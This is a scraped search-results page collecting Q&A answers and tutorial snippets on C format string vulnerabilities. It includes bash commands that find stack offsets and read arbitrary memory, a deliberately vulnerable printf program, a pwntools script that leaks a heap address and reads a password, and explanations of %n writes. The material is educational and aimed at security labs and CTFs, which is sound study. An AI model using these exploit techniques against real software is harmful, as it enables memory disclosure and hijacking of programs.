It was rather trivial. Modifying the previous example a bit,

for ((i = 1; i < 200; i++)); do echo -n "$i " && ./test "BBAAAACC%x" 0; done | grep 4141

the upper word of location 129 is filled with the B's, and the lower word of location 131 is filled with the C's - with the A's nicely sandwiched in the middle at location 130. So I simply had to pass the address padded with two extra bytes both at the beginning and at the end. I also figured out how to pass the hex values with printf in bash.

To verify it's working, I picked up the address (0xbffffe2c) of a known string "HOME=/home/arman" and passed it as an argument like this:

./test AA$(printf "\x2c\xfe\xff\xbf")AA%130\$s

Bingo! The string is printed like this:

AA,���AAHOME=/home/arman

EDIT: The padding at the beginning is not really required. This works perfectly as well:

./test $(printf "\x2c\xfe\xff\xbf")AA%130\$s
,���AAHOME=/home/arman
Answer from rhodeo on Stack Exchange
🌐
Gts3
tc.gts3.org › cs6265 › tut › tut05-fmtstr.html
Tut05: Format String Vulnerability - CS6265: Information Security Lab
In this simple case, the third "argument" (i.e. %3$s) happens to be the format string data itself, so we have full control over its value! You can take advantage of this to read a few bytes from an arbitrary memory address, like this:
Top answer
1 of 2
3

Your first try indicates that the pointer is stored in the 5th position.

Simply replace the 5th %08x with a suitable format code, depending on the data in the pointed to location. If flag points to a string, then %s is suitable:

AAAA.%08x.%08x.%08x.%08x.%s.%08x.%08x

Expected output:

AAAA.00000100.080c7020.00000000.1337c0de.<secret message>.deadbeef.41414141
2 of 2
1

Your bash printf command never even ran your C program. The ./fmt_string is inside the double quotes as part of the arg to the printf builtin.

On my desktop (in a directory with no file called fmt_string), I get:

$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string"
��
 .00000000.00000000.00000000.00000000.00000000.00000000. | ./fmt_string

That's different from the output you show, so maybe you didn't copy the command you actually ran?


Maybe you actually ran printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s" | ./fmt_string. Without the pipe, it prints:

��
 .00000000.00000000.00000000.00000000.00000000.00000000.

because you didn't do anything to stop the printf builtin from interpreting the %s in the string you're printing. Use printf '%s\n' ..., or use echo. Ironically, your attempt to test a format-string vulnerability was defeated by incorrect handling of format-strings.

Piping that printf output through your program would print it verbatim, since it no longer has any printf meta-characters. The fgets/printf loop is just copying stdin to stdout in that case, even though it has binary garbage.


As far as actually finding where flag is stored on the stack, compile with gcc -O0 -fverbose-asm -masm=intel foo.c -S -o- | less, and look at gcc's comments to see where it's putting the pointer you want.

(I'm assuming that your exploit only works against the code compiled with -O0, because otherwise the pointer will never be stored on the stack.)

IDK if you're using -m32 or not. If not, then the first 6 integer args for printf are passed in integer registers (in the x86-64 System V ABI), so you need to get through them first.

See the x86 tag wiki for ABI doc links. I'm assuming you're on Linux from the use of the printf bash command.

🌐
Codearcana
codearcana.com › posts › 2013 › 05 › 02 › introduction-to-format-string-exploits.html
Introduction to format string exploits
May 2, 2013 - So how do we turn this into an arbitrary write primitive? Well, printf has a really interesting format specifier: %n. From the man page of printf: The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted. If we were to pass the string AAAA$n, we would write the value 4 to the address 0x41414141!
Top answer
1 of 1
4

@LiveOverflow helped me figuring out what I couldn't get. Both the assumptions I had were true

  1. printf simply prints what ever isn't a '%' and treats in a special way charcters following '%'
  2. Formatters (%x, %s, '%n, etc...) ONLY use addresses found on the stack (what I mean is that if we start popping off values using %x, those values will be popped of on the stack as long as valid addresses are available

Now in the code in the question, supplying an address as first argument is not enough, we have to somehow put on the stack the address we want to read/write from/to

example:

vuln.c (gcc -g vuln.c -m32 -o vuln):

#include <stdio.h>

int main (int argc, char ** argv) {

    buffer[32];

    fgets (buffer, sizeof(buffer), stdin);

    printf (buffer);

    return 0;
}

We can do by calling the program with an argument ./vuln AAAA. When asked for input we can insert there our format string. Here's the catch: we have to pop values off until we find our AAAA, after %s would dereference the address AAAA and read a string from there aka leaking an arbitrary address. Writing to an address works in the same exact way.

For the sake of simplicity I compiled it with -g so that I could use the *argv symbol

pwndbg> x/4s *argv
0xffffd258: "/home/ncrntn/vu"...
0xffffd267: "ln"
0xffffd26a: "AAAA"
0xffffd26f: "XDG_CONFIG_DIRS"...

At this point we know where to look at

pwndbg> x/200wx $esp
. . .
0xffffd260: 0x6e746e72  0x6c75762f  0x4141006e  0x58004141
. . .

And we indeed found our AAAA (in hex \x41\x41\x41\x41)

🌐
Medium
nikhilh20.medium.com › format-string-exploit-ccefad8fd66b
Format String Exploit. One of the most commonly used functions… | by ka1d0 | Medium
February 12, 2019 - If we form a format string which consists of multiple %x and the address of flag, the program is bound to output the address of flag back to us at some point. This follows the concept of arbitrary read that we discussed before.
🌐
HackTricks
book.hacktricks.wiki › en › binary-exploitation › format-strings › format-strings-arbitrary-read-example.html
Format Strings - Arbitrary Read Example - HackTricks
from pwn import * p = process("./fs-read") def leak_heap(p): # At offset 25 there is a heap leak p.sendlineafter(b"first password:", b"%$p") p.recvline() response = p.recvline().strip()[2:] #Remove new line and "0x" prefix return int(response, 16) heap_leak_addr = leak_heap(p) print(f"Leaked heap: {hex(heap_leak_addr)}") # Offset calculated from the leaked position to the possition of the pass in memory password_addr = heap_leak_addr + 0x1f7bc print(f"Calculated address is: {hex(password_addr)}") # At offset 14 we can control the addres, so use %s to read the string from that address payload = f"$s|||".encode() payload += p64(password_addr) p.sendline(payload) output = p.clean() print(output) p.close()
🌐
BreakInSecurity
axcheron.github.io › exploit-101-format-strings
Exploit 101 - Format Strings - BreakInSecurity
April 22, 2018 - The problem lies into the use of ... among others, to print data from the stack or other locations in memory. You can also write arbitrary data to arbitrary locations using the %n format specifier, but we will see that later....
🌐
Stanford
cs155.stanford.edu › papers › formatstring-1.2.pdf pdf
Exploiting Format String Vulnerabilities scut / team teso September 1, 2001
September 1, 2001 - The address points to somewhere within the “<nop>” space. There are good · articles describing this method of exploitation and if this example is not fully ... It creates a string that is 497 characters long. Together with the error · string (“ERR Wrong command: ”) this exceeds the outbuf buffer by four · bytes. Although the ‘user’ string is only allowed to be as long as 400 bytes, we can extend its length by abusing format string parameters.
Find elsewhere
🌐
Stack Overflow
stackoverflow.com › questions › 61501239 › how-can-i-get-the-memory-address-of-a-global-variable-using-a-format-string-atta
How can I get the memory address of a global variable using a Format String Attack in C? - Stack Overflow
April 29, 2020 - Since you have control over the format string you can "pack" the arbitrary address into the format string itself and then find the appropriate displacement to make %n use that address and write what you want where you want (combining it with ...
🌐
Unipi
lettieri.iet.unipi.it › hacking › format-strings.pdf pdf
8. Format Strings The a’s at the beginning are just for alignment, the %u’s
October 18, 2023 - If the attacker can choose the address that the instruction will use, it is an arbitrary memory read ... For example, suppose that o is 2, the victim program is a 32-bit one, and the buffer is stack-aligned. To read bytes from address 1122334416 the attacker can prepare the string ...
🌐
Null Byte
null-byte.wonderhowto.com › how-to › exploit-development-write-specific-values-memory-with-format-string-exploitation-0182112
Exploit Development: How to Write Specific Values to Memory with Format String Exploitation :: Null Byte
March 9, 2018 - The memory address containing "0x41414141" is actually the hexadecimal representation of the 4 As we had at the beginning of our string. If we remember from our last excursion, in order to exploit a format string vulnerability, we need the program to begin reading memory at a lower address than where the string itself is stored.
🌐
GitHub
github.com › whatsyourask › basics-of-pwn › blob › main › content › format-string › format-string.md
basics-of-pwn/content/format-string/format-string.md at main · whatsyourask/basics-of-pwn
In other words, you don't need to input chains like %x.%x.%x.%x.%x.%x.%x.%x., you can access, for example, the 0x41414141 value from the output above, with this string $s. 13 is the number of the parameter in the format string, which is the beginning of our string. BUT. The format specifier %s is waiting for the address, but we will give it the value 0x41414141. $ ./read-arbitrary-data asfasfa Access denied.
Author   whatsyourask
🌐
Exploit-DB
exploit-db.com › docs › english › 28476-linux-format-string-exploitation.pdf pdf
Format String Exploitation-Tutorial By Saif El-Sherei www.elsherei.com
Now to write address 0xDDCCBBAA 4 writes 1 byte at a time are required shown below: ... The width of the format string “%8x” for example is the minimum which will pad the output of the
Top answer
1 of 1
6

It's a lot of questions, here are a few answers:

How can we write something in memory with a format string vulnerability ?

For this, you need to know two specific features used in the printf format string specifications. First, %n is a format specifier that has the following effect (according to the manual page):

%n The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.

Now, the second format string feature will allow us to select a specific argument from the format string. The main selection operator is $, and the following code means that we select the second argument (here the outcome will be to display 2):

printf("%2$x", 1, 2, 3)

But, in the general case, we can do printf("%<some number>$x") to select an arbitrary argument of the current printf function (format string argument does not count).

If we could pass the string AAAA%10$n to the program and make it appear as a format string, then we could write the value 4 to the address 0x41414141.

So, format string bugs may offer a full access to the memory and you can decide what to write and where in the memory.

I really advise you to read "Exploiting Format String Vulnerabilities" from Scut (2001) to get a whole grasp on these kind of manipulations.

Are they other languages than C/C++ that are vulnerable to these bugs ?

Well, format string bugs are tied up to the printf function family and the way format strings may be passed to the function. It's a whole class of security issue itself. So, you might find ways to exploit similar problems in some other languages. Though, you may not find the exact same features as the format string capabilities in other languages may differ a lot.

I do think about languages such as Perl, Python, and so on, that all offer similar access to format string features.

How can I spot format string vulnerabilities if I have only the binary ?

First, you have to locate the calls to procedure of the printf family. Then, I would say that fuzz-testing (fuzzing) should be a good way to find the vulnerabilities. Especially if you can forge a few entries with seeds such as AAAA%10$n.

If you want a more accurate and exhaustive way to find it, you will probably need to do some binary analysis and taint analysis on every call to a procedure of the printf family.

🌐
NVISO Labs
blog.nviso.eu › 2024 › 05 › 23 › format-string-exploitation-a-hands-on-exploration-for-linux
Format String Exploitation: A Hands-On Exploration for Linux – NVISO Labs
May 23, 2024 - Read from arbitrary memory addresses using a combination of %c to move the argument pointer and %s to print the contents of memory starting from an address we specify in our input string, Write to arbitrary memory addresses by controlling the ...
🌐
Null Byte
null-byte.wonderhowto.com › how-to › exploit-development-read-write-programs-memory-using-format-string-vulnerability-0181919
Exploit Development: How to Read & Write to a Program's Memory Using a Format String Vulnerability :: Null Byte
January 30, 2018 - There is one more format specifier we have yet to talk about. This specifier is %n. While every other format specifier is focused on reading a particular type of data, %n is focused on writing data. Specifically, %n will write the length of the format string up to that point to the address of a variable.
🌐
Adamaviv
classes.adamaviv.com › si485h › s17 › units › 06 › unit.html
Unit 6: Format String Attacks
The goal is to produce a format string of the right length, with all the parts present, such that we can just focus on writing bytes. need four totoal formats two-pair addr2 addr4 formats to write a four-byte address /\ /\ .-------------------------------'---------------------. | | | | / \ AAAABBBBCCCCDDDD%1$008x.%1$00x.%1$008x.%1$00x.%1$008x.%1$00x.%1$008x.%1$00x | | | | \ / \ \/ \/ '-----.----' '--- the index will change based addr1 addr3 | on alignment and 00x will be hhn | one format to adjust number of output bytes in foramte and one format to be replaced by hhn to do the writing